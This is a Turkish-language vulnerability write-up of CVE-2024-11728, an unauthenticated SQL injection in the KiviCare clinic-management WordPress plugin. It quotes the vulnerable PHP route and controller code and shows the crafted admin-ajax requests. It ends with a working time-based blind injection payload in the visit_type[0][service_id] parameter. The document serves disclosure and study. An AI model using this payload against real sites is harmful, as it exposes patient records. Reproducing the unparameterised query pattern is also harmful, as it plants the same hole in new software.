Bu makale, WordPress için KiviCare – Clinic & Patient Management System (EHR) eklentisinde bulunan bir SQL Injection zafiyetini açıklamaktadır. CVE-2024-11728 olarak tanımlanan bu güvenlik açığı, 3.6.4 dahil olmak üzere tüm sürümleri etkilemektedir. Zafiyet, tax_calculated_data adlı AJAX aksiyonunda kullanıcı girdilerinin uygun şekilde işlenmemesinden kaynaklanmaktadır ve unauthenticated biçimde rastgele SQL komutları çalıştırmasına olanak tanımaktadır. Bu yazı, zafiyetin teknik bir analizini ve sömürü sürecini kapsamlı bir şekilde sunmaktadır.
Teknik Analiz
KCRoutes.php dosyasında, tax_calculated_data aksiyonu tanımlanmış olup, gelen istekleri KCTaxController@getTaxData metoduna yönlendirmektedir. Bu eşlemenin anlaşılması, zafiyetin kod tabanındaki yerini belirlemek için kritik öneme sahiptir.

class KCRoutes {
public function routes() {
$routes = array(
'tax_calculated_data' => ['method' => 'post', 'action' => 'KCTaxController@getTaxData'],
// Other routes...
);
}
}
KCTaxController sınıfındaki getTaxData metodu, vergi verilerinin hesaplanmasına yönelik AJAX isteklerini işlemekten sorumlu olan kritik bir bileşendir.
public function getTaxData() {
// Get request data
$request_data = $this->request->getInputs();
// Determine clinic and user roles
$current_user_role = $this->getLoginUserRole();
if ($current_user_role == $this->getClinicAdminRole()) {
$request_data['clinic_id']['id'] = kcGetClinicIdOfClinicAdmin();
} elseif ($current_user_role == $this->getReceptionistRole()) {
$request_data['clinic_id']['id'] = kcGetClinicIdOfReceptionist();
}
// Check for required data
if (empty($request_data['clinic_id']['id']) || empty($request_data['doctor_id']['id']) || empty($request_data['visit_type'])) {
wp_send_json([
'status' => false,
'message' => esc_html__("required data missing", "kc-lang")
]);
}
// Handle visit type data
if (empty(array_filter($request_data['visit_type'], 'is_array'))) {
$request_data['visit_type'] = [$request_data['visit_type']];
}
// Extract service IDs
$service_ids = collect($request_data['visit_type'])->pluck('service_id')->toArray();
$implode_service_ids = implode(",", $service_ids);
$request_data['clinic_id']['id'] = (int) $request_data['clinic_id']['id'];
$request_data['doctor_id']['id'] = (int) $request_data['doctor_id']['id'];
// Send JSON response with calculated tax data
wp_send_json(apply_filters('kivicare_calculate_tax', [
'status' => false,
'message' => $this->filter_not_found_message,
'data' => [],
'total_tax' => 0
], [
"id" => !empty($request_data['id']) ? $request_data['id'] : '',
"type" => 'appointment',
"doctor_id" => $request_data['doctor_id']['id'],
"clinic_id" => $request_data['clinic_id']['id'],
"service_id" => $service_ids,
"total_charge" => $this->db->get_var("SELECT SUM(charges) FROM {$this->db->prefix}kc_service_doctor_mapping
WHERE doctor_id = {$request_data['doctor_id']['id']} AND clinic_id = {$request_data['clinic_id']['id']}
AND service_id IN ({$implode_service_ids}) "),
'extra_data' => $request_data
]));
}
Bu metod $this->request->getInputs() fonksiyonu ile beraber giriş verilerini alır. Bu fonksiyon, clinic_id, doctor_id ve visit_type gibi parametreleri bir araya getirir.

Metod, ardından bu parametrelerin varlığını doğrular ve gerekli tüm verilerin mevcut olduğundan emin olduktan sonra işlemi devam ettirir. Bu doğrulama adımı önemlidir, çünkü eksik veri ile metodun çalıştırılmasını engeller ve aksi takdirde hatalara veya beklenmeyen davranışlara yol açabilir.
Metod, visit_type parametresinin bir dizi olarak yapılandırılacağını varsayar. Bu diziden service_id değerlerini çıkararak, bunları virgülle ayrılmış bir dizeye birleştirir. Bu dize, SQL sorgusuna doğrudan dahil edilir, bu da giriş verisi temizliği yapılmadığı ve parametreli sorgular kullanılmadığı için uygulamayı SQL Injection zafiyetine açık hale getirir.
SQL sorgusu, belirtilen service_id değerleriyle ilişkilendirilen ücretleri toplayarak toplam ücretleri hesaplamayı amaçlar; bu filtreleme doctor_id ve clinic_id parametrelerine göre yapılır. Kullanıcı tarafından sağlanan verilerin doğrudan SQL sorgusuna dahil edilmesi, uygun temizleme yapılmadan yapılması, zafiyetin kök nedenidir. Sorgu çalıştırıldığında, metod, sorgudan elde edilen toplam ücret de dahil olmak üzere hesaplanan vergi verilerini içeren bir JSON yanıtı üretir. Bu yanıt, istemciye verilen giriş parametrelerine dayalı gerekli vergi bilgilerini sağlamak için tasarlanmıştır.

Exploitation Süreci
İlk olarak, zaafiyetin istismar edilmesi için olabilecek endpoint ve parametreleri anladım. Tipik bir istek şu şekilde görünüyordu:
POST /wp-admin/admin-ajax.php HTTP/2
Host: wordpress.samogod.com
Content-Type: application/x-www-form-urlencoded
action=tax_calculated_data&clinic_id[id]=1&doctor_id[id]=1&visit_type[0][service_id]=1&type=appointment
Sunucu, 0 yanıtını verdi. 0 yanıtı WordPress tarafında action yani verilen AJAX metodunun bulunamama sebebidir. Bulunamamasının sebebi, eklentinin özel bir yönlendirme sistemi kullanması ve AJAX aksiyonları için belirli uç noktalar gerektirmesiydi. HTTP yöntemine göre ajax_post veya ajax_get kullanmam gerektiğini biraz sonra fark ettim:
POST /wp-admin/admin-ajax.php HTTP/2
Host: wordpress.samogod.com
Content-Type: application/x-www-form-urlencoded
action=ajax_post&route_name=tax_calculated_data&clinic_id[id]=1&doctor_id[id]=1&visit_type[0][service_id]=1

İş bitti mi bitmez 😀 Uygulama, pro eklentisinin gerektiğini belirten bir mesaj döner. Bu kontrol, isKiviCareProActive() fonksiyonu kullanılarak yapılmış.

if ( isKiviCareProActive() ) {
$this->filter_not_found_message = esc_html__( "Please update kiviCare pro plugin", "kc-lang" );
} else {
$this->filter_not_found_message = esc_html__( "Please install kiviCare pro plugin", "kc-lang" );
}
}
Bunu, KCTaxController sınıfının yapıcısını (constructor) değiştirerek aştım:

public function __construct() {
global $wpdb;
$this->db = $wpdb;
$this->request = new KCRequest();
// Remove the pro plugin check
$this->filter_not_found_message = 'samo.god.samet.g';
}
Şimdi, isteği tekrar uygulamaya gönderdiğimde, başarıyla yama uyguladığım filter_not_found_message döndü ve pro eklenti kontrolü devre dışı bırakıldı.

visit_type[0][service_id] parametresine odaklandım çünkü kullanıcı girdisinden oluşturulan implode_service_ids değişkeni, SQL sorgusuna doğrudan yerleştirilerek interpolasyon yapılıyordu. Biraz uğraşın ardından, SQL Injection açığını ortaya çıkardım ve sorguyu manipüle ederek rastgele SQL komutları çalıştırdım.
visit_type[0][service_id]=123) AND (SELECT * FROM (SELECT(SLEEP(5)))alias) AND (1=1
